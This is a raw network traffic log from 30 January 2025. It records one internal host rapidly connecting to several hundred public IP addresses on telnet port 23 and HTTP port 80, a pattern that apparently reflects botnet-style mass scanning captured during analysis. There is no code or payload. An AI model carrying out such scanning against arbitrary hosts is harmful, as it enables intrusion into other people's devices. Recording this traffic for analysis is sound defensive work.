Jan 30, 2025 10:43:02.153378010 CET	38884	23	192.168.2.13	97.143.79.116
Jan 30, 2025 10:43:02.153376102 CET	38884	23	192.168.2.13	217.217.148.135
Jan 30, 2025 10:43:02.153387070 CET	38885	80	192.168.2.13	185.179.49.88
Jan 30, 2025 10:43:02.153387070 CET	38884	23	192.168.2.13	221.160.159.60
Jan 30, 2025 10:43:02.153388023 CET	38885	80	192.168.2.13	141.152.135.30
Jan 30, 2025 10:43:02.153388023 CET	38884	23	192.168.2.13	85.25.137.124
Jan 30, 2025 10:43:02.153388023 CET	38884	23	192.168.2.13	83.130.54.132
Jan 30, 2025 10:43:02.153388023 CET	38884	23	192.168.2.13	94.129.200.93
Jan 30, 2025 10:43:02.153408051 CET	38884	23	192.168.2.13	187.19.115.26
Jan 30, 2025 10:43:02.153408051 CET	38884	23	192.168.2.13	149.141.33.108
Jan 30, 2025 10:43:02.153408051 CET	38885	80	192.168.2.13	61.253.83.205
Jan 30, 2025 10:43:02.153409004 CET	38885	80	192.168.2.13	68.252.112.215
Jan 30, 2025 10:43:02.153412104 CET	38884	23	192.168.2.13	40.225.157.198
Jan 30, 2025 10:43:02.153414011 CET	38884	23	192.168.2.13	179.137.44.154
Jan 30, 2025 10:43:02.153414965 CET	38884	23	192.168.2.13	1.118.204.8
Jan 30, 2025 10:43:02.153414011 CET	38885	80	192.168.2.13	74.23.19.41
Jan 30, 2025 10:43:02.153415918 CET	38884	23	192.168.2.13	101.154.2.29
Jan 30, 2025 10:43:02.153414965 CET	38884	23	192.168.2.13	125.101.145.204
Jan 30, 2025 10:43:02.153414011 CET	38885	80	192.168.2.13	168.114.59.93
Jan 30, 2025 10:43:02.153415918 CET	38884	23	192.168.2.13	109.113.154.194
Jan 30, 2025 10:43:02.153414965 CET	38884	23	192.168.2.13	31.150.39.159
Jan 30, 2025 10:43:02.153414011 CET	38884	23	192.168.2.13	104.107.198.24
Jan 30, 2025 10:43:02.153415918 CET	38885	80	192.168.2.13	144.78.246.80
Jan 30, 2025 10:43:02.153414965 CET	38885	80	192.168.2.13	171.99.189.124
Jan 30, 2025 10:43:02.153414965 CET	38885	80	192.168.2.13	166.136.56.240
Jan 30, 2025 10:43:02.153415918 CET	38884	23	192.168.2.13	150.203.151.67
Jan 30, 2025 10:43:02.153414965 CET	38884	23	192.168.2.13	183.164.231.26
Jan 30, 2025 10:43:02.153414965 CET	38884	23	192.168.2.13	193.210.250.45
Jan 30, 2025 10:43:02.153415918 CET	38885	80	192.168.2.13	183.247.28.25
Jan 30, 2025 10:43:02.153414965 CET	38885	80	192.168.2.13	107.197.219.113
Jan 30, 2025 10:43:02.153415918 CET	38885	80	192.168.2.13	194.163.112.112
Jan 30, 2025 10:43:02.153420925 CET	38884	23	192.168.2.13	160.23.21.202
Jan 30, 2025 10:43:02.153414965 CET	38884	23	192.168.2.13	65.159.196.195
Jan 30, 2025 10:43:02.153415918 CET	38884	23	192.168.2.13	180.62.155.100
Jan 30, 2025 10:43:02.153420925 CET	38884	23	192.168.2.13	80.24.249.18
Jan 30, 2025 10:43:02.153420925 CET	38885	80	192.168.2.13	112.62.126.153
Jan 30, 2025 10:43:02.153420925 CET	38885	80	192.168.2.13	206.226.14.16
Jan 30, 2025 10:43:02.153420925 CET	38884	23	192.168.2.13	194.242.34.243
Jan 30, 2025 10:43:02.153434038 CET	38885	80	192.168.2.13	126.11.46.224
Jan 30, 2025 10:43:02.153434038 CET	38884	23	192.168.2.13	183.83.138.29
Jan 30, 2025 10:43:02.153434992 CET	38884	23	192.168.2.13	161.144.175.81
Jan 30, 2025 10:43:02.153435946 CET	38885	80	192.168.2.13	5.172.13.214
Jan 30, 2025 10:43:02.153434038 CET	38884	23	192.168.2.13	122.118.251.120
Jan 30, 2025 10:43:02.153434992 CET	38884	23	192.168.2.13	14.100.248.200
Jan 30, 2025 10:43:02.153436899 CET	38884	23	192.168.2.13	186.6.234.85
Jan 30, 2025 10:43:02.153434992 CET	38885	80	192.168.2.13	203.133.160.26
Jan 30, 2025 10:43:02.153436899 CET	38884	23	192.168.2.13	54.72.143.224
Jan 30, 2025 10:43:02.153434038 CET	38885	80	192.168.2.13	209.101.48.230
Jan 30, 2025 10:43:02.153434992 CET	38884	23	192.168.2.13	123.183.39.141
Jan 30, 2025 10:43:02.153436899 CET	38884	23	192.168.2.13	134.166.18.108
Jan 30, 2025 10:43:02.153436899 CET	38885	80	192.168.2.13	106.19.179.166
Jan 30, 2025 10:43:02.153439999 CET	38884	23	192.168.2.13	106.144.94.195
Jan 30, 2025 10:43:02.153434038 CET	38884	23	192.168.2.13	101.95.67.239
Jan 30, 2025 10:43:02.153435946 CET	38884	23	192.168.2.13	211.92.28.214
Jan 30, 2025 10:43:02.153436899 CET	38885	80	192.168.2.13	203.161.86.110
Jan 30, 2025 10:43:02.153435946 CET	38884	23	192.168.2.13	110.179.3.31
Jan 30, 2025 10:43:02.153436899 CET	38885	80	192.168.2.13	189.104.185.129
Jan 30, 2025 10:43:02.153435946 CET	38884	23	192.168.2.13	57.80.25.63
Jan 30, 2025 10:43:02.153456926 CET	38884	23	192.168.2.13	169.78.84.223
Jan 30, 2025 10:43:02.153456926 CET	38884	23	192.168.2.13	80.51.40.115
Jan 30, 2025 10:43:02.153458118 CET	38885	80	192.168.2.13	201.107.78.218
Jan 30, 2025 10:43:02.153456926 CET	38884	23	192.168.2.13	84.104.144.24
Jan 30, 2025 10:43:02.153456926 CET	38885	80	192.168.2.13	51.163.181.220
Jan 30, 2025 10:43:02.153456926 CET	38884	23	192.168.2.13	193.72.7.34
Jan 30, 2025 10:43:02.153459072 CET	38884	23	192.168.2.13	95.21.1.128
Jan 30, 2025 10:43:02.153456926 CET	38885	80	192.168.2.13	37.204.102.119
Jan 30, 2025 10:43:02.153459072 CET	38884	23	192.168.2.13	129.139.207.87
Jan 30, 2025 10:43:02.153458118 CET	38885	80	192.168.2.13	142.180.23.231
Jan 30, 2025 10:43:02.153459072 CET	38884	23	192.168.2.13	32.103.102.75
Jan 30, 2025 10:43:02.153456926 CET	38884	23	192.168.2.13	110.222.46.19
Jan 30, 2025 10:43:02.153456926 CET	38885	80	192.168.2.13	12.17.105.102
Jan 30, 2025 10:43:02.153465986 CET	38885	80	192.168.2.13	203.171.17.102
Jan 30, 2025 10:43:02.153458118 CET	38885	80	192.168.2.13	102.177.195.156
Jan 30, 2025 10:43:02.153465986 CET	38884	23	192.168.2.13	164.196.75.121
Jan 30, 2025 10:43:02.153460026 CET	38885	80	192.168.2.13	74.222.21.23
Jan 30, 2025 10:43:02.153466940 CET	38884	23	192.168.2.13	165.52.152.235
Jan 30, 2025 10:43:02.153459072 CET	38885	80	192.168.2.13	23.8.7.203
Jan 30, 2025 10:43:02.153466940 CET	38885	80	192.168.2.13	92.196.137.138
Jan 30, 2025 10:43:02.153459072 CET	38885	80	192.168.2.13	166.55.214.169
Jan 30, 2025 10:43:02.153466940 CET	38884	23	192.168.2.13	58.229.64.139
Jan 30, 2025 10:43:02.153466940 CET	38885	80	192.168.2.13	13.255.78.29
Jan 30, 2025 10:43:02.153466940 CET	38885	80	192.168.2.13	146.48.70.199
Jan 30, 2025 10:43:02.153476954 CET	38884	23	192.168.2.13	42.233.229.143
Jan 30, 2025 10:43:02.153476954 CET	38884	23	192.168.2.13	73.230.194.241
Jan 30, 2025 10:43:02.153477907 CET	38884	23	192.168.2.13	110.74.214.106
Jan 30, 2025 10:43:02.153476954 CET	38884	23	192.168.2.13	97.97.43.23
Jan 30, 2025 10:43:02.153476954 CET	38884	23	192.168.2.13	156.53.237.138
Jan 30, 2025 10:43:02.153480053 CET	38884	23	192.168.2.13	185.181.232.131
Jan 30, 2025 10:43:02.153476954 CET	38884	23	192.168.2.13	71.57.4.114
Jan 30, 2025 10:43:02.153480053 CET	38884	23	192.168.2.13	8.226.148.95
Jan 30, 2025 10:43:02.153476954 CET	38884	23	192.168.2.13	65.187.209.114
Jan 30, 2025 10:43:02.153480053 CET	38884	23	192.168.2.13	24.145.193.13
Jan 30, 2025 10:43:02.153476954 CET	38885	80	192.168.2.13	129.41.94.68
Jan 30, 2025 10:43:02.153476000 CET	38884	23	192.168.2.13	137.146.181.142
Jan 30, 2025 10:43:02.153476000 CET	38884	23	192.168.2.13	8.167.3.16
Jan 30, 2025 10:43:02.153476954 CET	38885	80	192.168.2.13	111.150.83.227
Jan 30, 2025 10:43:02.153490067 CET	38884	23	192.168.2.13	118.93.29.198
Jan 30, 2025 10:43:02.153490067 CET	38884	23	192.168.2.13	182.25.63.196
Jan 30, 2025 10:43:02.153491020 CET	38884	23	192.168.2.13	45.48.8.37
Jan 30, 2025 10:43:02.153493881 CET	38885	80	192.168.2.13	150.41.173.185
Jan 30, 2025 10:43:02.153496027 CET	38884	23	192.168.2.13	114.16.33.246
Jan 30, 2025 10:43:02.153496027 CET	38884	23	192.168.2.13	190.16.200.56
Jan 30, 2025 10:43:02.153496027 CET	38885	80	192.168.2.13	140.239.55.51
Jan 30, 2025 10:43:02.153497934 CET	38885	80	192.168.2.13	12.77.149.149
Jan 30, 2025 10:43:02.153498888 CET	38884	23	192.168.2.13	138.207.174.14
Jan 30, 2025 10:43:02.153498888 CET	38885	80	192.168.2.13	34.225.60.95
Jan 30, 2025 10:43:02.153498888 CET	38884	23	192.168.2.13	148.205.125.198
Jan 30, 2025 10:43:02.153498888 CET	38885	80	192.168.2.13	50.28.30.165
Jan 30, 2025 10:43:02.153502941 CET	38884	23	192.168.2.13	64.213.78.94
Jan 30, 2025 10:43:02.153506041 CET	38884	23	192.168.2.13	5.0.144.95
Jan 30, 2025 10:43:02.153506041 CET	38884	23	192.168.2.13	173.231.16.49
Jan 30, 2025 10:43:02.153510094 CET	38885	80	192.168.2.13	220.48.45.41
Jan 30, 2025 10:43:02.153516054 CET	38884	23	192.168.2.13	36.240.237.233
Jan 30, 2025 10:43:02.153518915 CET	38884	23	192.168.2.13	124.6.255.172
Jan 30, 2025 10:43:02.153518915 CET	38885	80	192.168.2.13	83.177.93.11
Jan 30, 2025 10:43:02.153518915 CET	38884	23	192.168.2.13	147.76.67.164
Jan 30, 2025 10:43:02.153532982 CET	38884	23	192.168.2.13	48.4.103.107
Jan 30, 2025 10:43:02.153534889 CET	38884	23	192.168.2.13	193.177.86.53
Jan 30, 2025 10:43:02.153534889 CET	38884	23	192.168.2.13	195.13.243.197
Jan 30, 2025 10:43:02.153536081 CET	38885	80	192.168.2.13	44.82.64.154
Jan 30, 2025 10:43:02.153536081 CET	38884	23	192.168.2.13	180.48.188.193
Jan 30, 2025 10:43:02.153538942 CET	38884	23	192.168.2.13	213.250.54.142
Jan 30, 2025 10:43:02.153536081 CET	38885	80	192.168.2.13	85.34.97.180
Jan 30, 2025 10:43:02.153538942 CET	38884	23	192.168.2.13	181.251.200.110
Jan 30, 2025 10:43:02.153536081 CET	38885	80	192.168.2.13	221.245.14.191
Jan 30, 2025 10:43:02.153536081 CET	38884	23	192.168.2.13	172.125.246.3
Jan 30, 2025 10:43:02.153534889 CET	38884	23	192.168.2.13	128.116.4.89
Jan 30, 2025 10:43:02.153537035 CET	38885	80	192.168.2.13	208.166.10.113
Jan 30, 2025 10:43:02.153536081 CET	38885	80	192.168.2.13	78.88.247.94
Jan 30, 2025 10:43:02.153536081 CET	38884	23	192.168.2.13	77.248.89.183
Jan 30, 2025 10:43:02.153537035 CET	38884	23	192.168.2.13	54.176.34.0
Jan 30, 2025 10:43:02.153536081 CET	38885	80	192.168.2.13	31.186.235.67
Jan 30, 2025 10:43:02.153537035 CET	38885	80	192.168.2.13	144.157.172.57
Jan 30, 2025 10:43:02.153536081 CET	38884	23	192.168.2.13	167.6.116.118
Jan 30, 2025 10:43:02.153549910 CET	38884	23	192.168.2.13	190.169.110.186
Jan 30, 2025 10:43:02.153549910 CET	38884	23	192.168.2.13	72.51.181.123
Jan 30, 2025 10:43:02.153556108 CET	38884	23	192.168.2.13	156.254.180.154
Jan 30, 2025 10:43:02.153556108 CET	38884	23	192.168.2.13	96.45.229.238
Jan 30, 2025 10:43:02.153556108 CET	38885	80	192.168.2.13	139.53.102.0
Jan 30, 2025 10:43:02.153556108 CET	38884	23	192.168.2.13	82.148.229.59
Jan 30, 2025 10:43:02.153558969 CET	38885	80	192.168.2.13	31.190.182.167
Jan 30, 2025 10:43:02.153559923 CET	38885	80	192.168.2.13	113.185.41.57
Jan 30, 2025 10:43:02.153559923 CET	38884	23	192.168.2.13	87.33.75.154
Jan 30, 2025 10:43:02.153561115 CET	38885	80	192.168.2.13	155.182.63.252
Jan 30, 2025 10:43:02.153562069 CET	38885	80	192.168.2.13	14.228.28.2
Jan 30, 2025 10:43:02.153561115 CET	38884	23	192.168.2.13	130.77.206.36
Jan 30, 2025 10:43:02.153559923 CET	38885	80	192.168.2.13	149.229.228.40
Jan 30, 2025 10:43:02.153573036 CET	38884	23	192.168.2.13	216.105.106.29
Jan 30, 2025 10:43:02.153565884 CET	38885	80	192.168.2.13	107.221.202.41
Jan 30, 2025 10:43:02.153561115 CET	38884	23	192.168.2.13	108.11.205.23
Jan 30, 2025 10:43:02.153577089 CET	38884	23	192.168.2.13	169.249.65.50
Jan 30, 2025 10:43:02.153564930 CET	38884	23	192.168.2.13	63.221.225.255
Jan 30, 2025 10:43:02.153565884 CET	38885	80	192.168.2.13	223.155.165.18
Jan 30, 2025 10:43:02.153564930 CET	38884	23	192.168.2.13	57.26.238.248
Jan 30, 2025 10:43:02.153578043 CET	38884	23	192.168.2.13	162.137.202.79
Jan 30, 2025 10:43:02.153563976 CET	38885	80	192.168.2.13	4.60.127.68
Jan 30, 2025 10:43:02.153561115 CET	38884	23	192.168.2.13	71.7.33.130
Jan 30, 2025 10:43:02.153563976 CET	38884	23	192.168.2.13	65.181.65.75
Jan 30, 2025 10:43:02.153590918 CET	38884	23	192.168.2.13	38.232.230.212
Jan 30, 2025 10:43:02.153590918 CET	38884	23	192.168.2.13	94.54.116.100
Jan 30, 2025 10:43:02.153590918 CET	38884	23	192.168.2.13	95.251.231.146
Jan 30, 2025 10:43:02.153594017 CET	38885	80	192.168.2.13	88.238.31.20
Jan 30, 2025 10:43:02.153594017 CET	38885	80	192.168.2.13	53.190.107.157
Jan 30, 2025 10:43:02.153594017 CET	38885	80	192.168.2.13	135.187.88.199
Jan 30, 2025 10:43:02.153599024 CET	38885	80	192.168.2.13	91.44.109.152
Jan 30, 2025 10:43:02.153599024 CET	38885	80	192.168.2.13	185.255.170.171
Jan 30, 2025 10:43:02.153599024 CET	38884	23	192.168.2.13	157.100.197.120
Jan 30, 2025 10:43:02.153599024 CET	38884	23	192.168.2.13	49.135.204.192
Jan 30, 2025 10:43:02.153599024 CET	38885	80	192.168.2.13	67.17.239.142
Jan 30, 2025 10:43:02.153599024 CET	38884	23	192.168.2.13	72.37.37.89
Jan 30, 2025 10:43:02.153599977 CET	38884	23	192.168.2.13	35.57.107.83
Jan 30, 2025 10:43:02.153609037 CET	38885	80	192.168.2.13	161.19.176.28
Jan 30, 2025 10:43:02.153609037 CET	38885	80	192.168.2.13	185.47.11.58
Jan 30, 2025 10:43:02.153609991 CET	38884	23	192.168.2.13	62.212.13.85
Jan 30, 2025 10:43:02.153610945 CET	38885	80	192.168.2.13	151.95.201.18
Jan 30, 2025 10:43:02.153613091 CET	38885	80	192.168.2.13	177.118.153.23
Jan 30, 2025 10:43:02.153613091 CET	38884	23	192.168.2.13	35.83.98.179
Jan 30, 2025 10:43:02.153613091 CET	38884	23	192.168.2.13	201.113.252.217
Jan 30, 2025 10:43:02.153616905 CET	38885	80	192.168.2.13	118.230.48.136
Jan 30, 2025 10:43:02.153618097 CET	38884	23	192.168.2.13	160.115.83.244
Jan 30, 2025 10:43:02.153618097 CET	38884	23	192.168.2.13	137.41.252.141
Jan 30, 2025 10:43:02.153618097 CET	38884	23	192.168.2.13	220.55.64.104
Jan 30, 2025 10:43:02.153621912 CET	38885	80	192.168.2.13	196.220.38.178
Jan 30, 2025 10:43:02.153633118 CET	38884	23	192.168.2.13	17.143.0.34
Jan 30, 2025 10:43:02.153635979 CET	38884	23	192.168.2.13	2.97.146.225
Jan 30, 2025 10:43:02.153635979 CET	38884	23	192.168.2.13	140.20.160.68
Jan 30, 2025 10:43:02.153635979 CET	38884	23	192.168.2.13	86.35.209.20
Jan 30, 2025 10:43:02.153637886 CET	38885	80	192.168.2.13	136.167.25.223
Jan 30, 2025 10:43:02.153637886 CET	38885	80	192.168.2.13	175.230.153.66
Jan 30, 2025 10:43:02.153639078 CET	38884	23	192.168.2.13	64.1.201.9
Jan 30, 2025 10:43:02.153639078 CET	38884	23	192.168.2.13	42.53.69.220
Jan 30, 2025 10:43:02.153639078 CET	38885	80	192.168.2.13	58.19.47.166
Jan 30, 2025 10:43:02.153644085 CET	38885	80	192.168.2.13	62.172.41.181
Jan 30, 2025 10:43:02.153645992 CET	38884	23	192.168.2.13	121.75.174.245
Jan 30, 2025 10:43:02.153645992 CET	38884	23	192.168.2.13	139.84.69.96
Jan 30, 2025 10:43:02.153645992 CET	38884	23	192.168.2.13	80.50.104.68
Jan 30, 2025 10:43:02.153667927 CET	38884	23	192.168.2.13	88.116.184.146
Jan 30, 2025 10:43:02.153667927 CET	38884	23	192.168.2.13	1.224.37.189
Jan 30, 2025 10:43:02.153667927 CET	38884	23	192.168.2.13	142.84.10.232
Jan 30, 2025 10:43:02.153667927 CET	38885	80	192.168.2.13	31.246.90.254
Jan 30, 2025 10:43:02.153680086 CET	38885	80	192.168.2.13	221.222.241.252
Jan 30, 2025 10:43:02.153680086 CET	38884	23	192.168.2.13	4.75.49.234
Jan 30, 2025 10:43:02.153680086 CET	38884	23	192.168.2.13	169.209.9.82
Jan 30, 2025 10:43:02.153683901 CET	38884	23	192.168.2.13	142.195.139.22
Jan 30, 2025 10:43:02.153683901 CET	38885	80	192.168.2.13	84.76.148.243
Jan 30, 2025 10:43:02.153683901 CET	38885	80	192.168.2.13	195.244.60.104
Jan 30, 2025 10:43:02.153683901 CET	38884	23	192.168.2.13	71.62.248.111
Jan 30, 2025 10:43:02.153685093 CET	38885	80	192.168.2.13	184.236.129.4
Jan 30, 2025 10:43:02.153683901 CET	38884	23	192.168.2.13	151.54.96.194
Jan 30, 2025 10:43:02.153683901 CET	38885	80	192.168.2.13	131.39.18.31
Jan 30, 2025 10:43:02.153687000 CET	38884	23	192.168.2.13	126.192.90.160
Jan 30, 2025 10:43:02.153683901 CET	38885	80	192.168.2.13	63.245.20.203
Jan 30, 2025 10:43:02.153685093 CET	38885	80	192.168.2.13	193.9.12.214
Jan 30, 2025 10:43:02.153687000 CET	38885	80	192.168.2.13	124.229.155.163
Jan 30, 2025 10:43:02.153688908 CET	38884	23	192.168.2.13	94.125.80.132
Jan 30, 2025 10:43:02.153687000 CET	38884	23	192.168.2.13	118.9.38.157
Jan 30, 2025 10:43:02.153685093 CET	38885	80	192.168.2.13	207.228.97.152
Jan 30, 2025 10:43:02.153687000 CET	38884	23	192.168.2.13	198.91.177.85
Jan 30, 2025 10:43:02.153685093 CET	38885	80	192.168.2.13	120.43.177.121
Jan 30, 2025 10:43:02.153687000 CET	38884	23	192.168.2.13	185.127.175.194
Jan 30, 2025 10:43:02.153688908 CET	38885	80	192.168.2.13	129.130.53.122
Jan 30, 2025 10:43:02.153704882 CET	38885	80	192.168.2.13	205.11.34.231
Jan 30, 2025 10:43:02.153683901 CET	38884	23	192.168.2.13	73.5.140.136
Jan 30, 2025 10:43:02.153683901 CET	38884	23	192.168.2.13	172.37.47.243
Jan 30, 2025 10:43:02.153687000 CET	38885	80	192.168.2.13	129.175.149.59
Jan 30, 2025 10:43:02.153709888 CET	38884	23	192.168.2.13	129.47.175.153
Jan 30, 2025 10:43:02.153709888 CET	38885	80	192.168.2.13	167.167.198.228
Jan 30, 2025 10:43:02.153709888 CET	38885	80	192.168.2.13	13.145.165.17
Jan 30, 2025 10:43:02.153709888 CET	38884	23	192.168.2.13	43.115.57.24
Jan 30, 2025 10:43:02.153700113 CET	38884	23	192.168.2.13	32.253.112.255
Jan 30, 2025 10:43:02.153709888 CET	38884	23	192.168.2.13	67.26.172.37
Jan 30, 2025 10:43:02.153709888 CET	38885	80	192.168.2.13	76.189.215.128
Jan 30, 2025 10:43:02.153700113 CET	38884	23	192.168.2.13	92.140.29.174
Jan 30, 2025 10:43:02.153700113 CET	38884	23	192.168.2.13	74.179.170.67
Jan 30, 2025 10:43:02.153700113 CET	38885	80	192.168.2.13	147.98.216.1
Jan 30, 2025 10:43:02.153700113 CET	38884	23	192.168.2.13	211.161.110.91
Jan 30, 2025 10:43:02.153716087 CET	38885	80	192.168.2.13	59.112.32.136
Jan 30, 2025 10:43:02.153717041 CET	38885	80	192.168.2.13	70.246.110.174
Jan 30, 2025 10:43:02.153717041 CET	38884	23	192.168.2.13	110.89.17.121
Jan 30, 2025 10:43:02.153716087 CET	38885	80	192.168.2.13	199.152.63.148
Jan 30, 2025 10:43:02.153717041 CET	38884	23	192.168.2.13	194.78.121.197
Jan 30, 2025 10:43:02.153701067 CET	38884	23	192.168.2.13	120.193.33.145
Jan 30, 2025 10:43:02.153717041 CET	38884	23	192.168.2.13	179.226.28.29
Jan 30, 2025 10:43:02.153722048 CET	38884	23	192.168.2.13	125.57.155.247
Jan 30, 2025 10:43:02.153722048 CET	38884	23	192.168.2.13	208.183.99.40
Jan 30, 2025 10:43:02.153722048 CET	38885	80	192.168.2.13	80.46.196.6
Jan 30, 2025 10:43:02.153743029 CET	38884	23	192.168.2.13	73.84.191.132
Jan 30, 2025 10:43:02.153743029 CET	38884	23	192.168.2.13	219.114.39.58
Jan 30, 2025 10:43:02.153743029 CET	38884	23	192.168.2.13	76.90.206.33
Jan 30, 2025 10:43:02.153743029 CET	38884	23	192.168.2.13	62.12.141.85
Jan 30, 2025 10:43:02.153743029 CET	38884	23	192.168.2.13	66.7.131.71
Jan 30, 2025 10:43:02.153745890 CET	38884	23	192.168.2.13	81.185.116.247
Jan 30, 2025 10:43:02.153745890 CET	38884	23	192.168.2.13	140.153.66.16
Jan 30, 2025 10:43:02.153745890 CET	38885	80	192.168.2.13	129.58.192.134
Jan 30, 2025 10:43:02.153745890 CET	38885	80	192.168.2.13	2.208.188.147
Jan 30, 2025 10:43:02.153745890 CET	38884	23	192.168.2.13	69.194.95.225
Jan 30, 2025 10:43:02.153748989 CET	38885	80	192.168.2.13	185.228.239.63
Jan 30, 2025 10:43:02.153748989 CET	38884	23	192.168.2.13	130.162.44.182
Jan 30, 2025 10:43:02.153748989 CET	38884	23	192.168.2.13	218.74.188.103
Jan 30, 2025 10:43:02.153749943 CET	38885	80	192.168.2.13	147.104.159.232
Jan 30, 2025 10:43:02.153749943 CET	38884	23	192.168.2.13	125.193.221.247
Jan 30, 2025 10:43:02.153750896 CET	38885	80	192.168.2.13	130.126.99.48
Jan 30, 2025 10:43:02.153749943 CET	38884	23	192.168.2.13	200.48.255.216
Jan 30, 2025 10:43:02.153748989 CET	38885	80	192.168.2.13	192.254.13.136
Jan 30, 2025 10:43:02.153749943 CET	38884	23	192.168.2.13	107.218.134.241
Jan 30, 2025 10:43:02.153748989 CET	38885	80	192.168.2.13	101.245.51.149
Jan 30, 2025 10:43:02.153748989 CET	38884	23	192.168.2.13	80.27.101.11
Jan 30, 2025 10:43:02.153749943 CET	38884	23	192.168.2.13	174.122.64.196
Jan 30, 2025 10:43:02.153748989 CET	38885	80	192.168.2.13	68.206.64.207
Jan 30, 2025 10:43:02.153749943 CET	38885	80	192.168.2.13	54.31.240.239
Jan 30, 2025 10:43:02.153767109 CET	38885	80	192.168.2.13	196.29.244.18
Jan 30, 2025 10:43:02.153767109 CET	38885	80	192.168.2.13	179.241.7.138
Jan 30, 2025 10:43:02.153767109 CET	38884	23	192.168.2.13	102.187.73.143
Jan 30, 2025 10:43:02.153769970 CET	38885	80	192.168.2.13	135.61.85.132
Jan 30, 2025 10:43:02.153769970 CET	38884	23	192.168.2.13	206.65.12.122
Jan 30, 2025 10:43:02.153769970 CET	38885	80	192.168.2.13	94.87.17.48
Jan 30, 2025 10:43:02.153769970 CET	38884	23	192.168.2.13	107.215.104.82
Jan 30, 2025 10:43:02.153769970 CET	38885	80	192.168.2.13	178.240.114.59
Jan 30, 2025 10:43:02.153770924 CET	38885	80	192.168.2.13	43.145.80.24
Jan 30, 2025 10:43:02.153770924 CET	38884	23	192.168.2.13	13.10.119.154
Jan 30, 2025 10:43:02.153772116 CET	38885	80	192.168.2.13	201.35.231.33
Jan 30, 2025 10:43:02.153772116 CET	38884	23	192.168.2.13	107.123.6.114
Jan 30, 2025 10:43:02.153770924 CET	38884	23	192.168.2.13	110.63.236.50
Jan 30, 2025 10:43:02.153772116 CET	38884	23	192.168.2.13	183.195.17.56
Jan 30, 2025 10:43:02.153773069 CET	38885	80	192.168.2.13	27.23.136.222
Jan 30, 2025 10:43:02.153772116 CET	38884	23	192.168.2.13	204.4.34.220
Jan 30, 2025 10:43:02.153772116 CET	38884	23	192.168.2.13	64.140.181.184
Jan 30, 2025 10:43:02.153770924 CET	38884	23	192.168.2.13	201.217.195.158
Jan 30, 2025 10:43:02.153769970 CET	38884	23	192.168.2.13	204.211.48.162
Jan 30, 2025 10:43:02.153772116 CET	38884	23	192.168.2.13	63.215.229.209
Jan 30, 2025 10:43:02.153772116 CET	38884	23	192.168.2.13	69.213.235.239
Jan 30, 2025 10:43:02.153769970 CET	38884	23	192.168.2.13	154.194.1.44
Jan 30, 2025 10:43:02.153769970 CET	38884	23	192.168.2.13	179.61.145.36
Jan 30, 2025 10:43:02.153773069 CET	38884	23	192.168.2.13	180.125.34.143
Jan 30, 2025 10:43:02.153769970 CET	38885	80	192.168.2.13	39.15.251.147
Jan 30, 2025 10:43:02.153769970 CET	38884	23	192.168.2.13	167.175.86.47
Jan 30, 2025 10:43:02.153769970 CET	38884	23	192.168.2.13	213.160.79.243
Jan 30, 2025 10:43:02.153769970 CET	38884	23	192.168.2.13	80.95.103.109
Jan 30, 2025 10:43:02.153803110 CET	38885	80	192.168.2.13	218.235.106.144
Jan 30, 2025 10:43:02.153803110 CET	38885	80	192.168.2.13	178.87.168.78
Jan 30, 2025 10:43:02.153803110 CET	38885	80	192.168.2.13	190.215.128.27
Jan 30, 2025 10:43:02.153806925 CET	38884	23	192.168.2.13	53.128.207.61
Jan 30, 2025 10:43:02.153806925 CET	38885	80	192.168.2.13	191.43.4.167
Jan 30, 2025 10:43:02.153808117 CET	38884	23	192.168.2.13	168.136.14.151
Jan 30, 2025 10:43:02.153806925 CET	38884	23	192.168.2.13	23.95.119.207
Jan 30, 2025 10:43:02.153808117 CET	38884	23	192.168.2.13	184.8.60.169
Jan 30, 2025 10:43:02.153806925 CET	38885	80	192.168.2.13	40.165.91.6
Jan 30, 2025 10:43:02.153808117 CET	38885	80	192.168.2.13	142.28.194.211
Jan 30, 2025 10:43:02.153809071 CET	38885	80	192.168.2.13	186.8.130.202
Jan 30, 2025 10:43:02.153806925 CET	38884	23	192.168.2.13	174.7.125.20
Jan 30, 2025 10:43:02.153809071 CET	38885	80	192.168.2.13	130.169.207.198
Jan 30, 2025 10:43:02.153810978 CET	38884	23	192.168.2.13	141.113.5.242
Jan 30, 2025 10:43:02.153806925 CET	38885	80	192.168.2.13	137.66.104.77
Jan 30, 2025 10:43:02.153808117 CET	38885	80	192.168.2.13	77.69.123.175
Jan 30, 2025 10:43:02.153806925 CET	38885	80	192.168.2.13	148.191.78.235
Jan 30, 2025 10:43:02.153809071 CET	38884	23	192.168.2.13	91.248.56.158
Jan 30, 2025 10:43:02.153810978 CET	38885	80	192.168.2.13	139.191.81.216
Jan 30, 2025 10:43:02.153806925 CET	38884	23	192.168.2.13	119.130.4.41
Jan 30, 2025 10:43:02.153809071 CET	38884	23	192.168.2.13	101.94.86.213
Jan 30, 2025 10:43:02.153806925 CET	38884	23	192.168.2.13	222.136.242.225
Jan 30, 2025 10:43:02.153824091 CET	38884	23	192.168.2.13	219.101.60.179
Jan 30, 2025 10:43:02.153806925 CET	38884	23	192.168.2.13	201.212.59.71
Jan 30, 2025 10:43:02.153825045 CET	38884	23	192.168.2.13	216.65.118.141
Jan 30, 2025 10:43:02.153806925 CET	38885	80	192.168.2.13	40.227.27.183
Jan 30, 2025 10:43:02.153816938 CET	38885	80	192.168.2.13	128.130.134.52
Jan 30, 2025 10:43:02.153825045 CET	38885	80	192.168.2.13	181.25.255.147
Jan 30, 2025 10:43:02.153826952 CET	38884	23	192.168.2.13	210.254.81.122
Jan 30, 2025 10:43:02.153816938 CET	38884	23	192.168.2.13	138.149.93.152
Jan 30, 2025 10:43:02.153810978 CET	38884	23	192.168.2.13	162.231.170.54
Jan 30, 2025 10:43:02.153826952 CET	38884	23	192.168.2.13	141.206.190.146
Jan 30, 2025 10:43:02.153831959 CET	38884	23	192.168.2.13	129.194.124.104
Jan 30, 2025 10:43:02.153806925 CET	38885	80	192.168.2.13	217.38.55.225
Jan 30, 2025 10:43:02.153816938 CET	38884	23	192.168.2.13	177.224.186.5
Jan 30, 2025 10:43:02.153826952 CET	38884	23	192.168.2.13	79.202.204.49
Jan 30, 2025 10:43:02.153810978 CET	38884	23	192.168.2.13	57.37.15.65
Jan 30, 2025 10:43:02.153826952 CET	38884	23	192.168.2.13	170.94.252.164
Jan 30, 2025 10:43:02.153837919 CET	38885	80	192.168.2.13	151.69.239.200
Jan 30, 2025 10:43:02.153837919 CET	38884	23	192.168.2.13	90.236.7.119
Jan 30, 2025 10:43:02.153837919 CET	38884	23	192.168.2.13	220.184.254.74
Jan 30, 2025 10:43:02.153837919 CET	38884	23	192.168.2.13	145.10.224.95
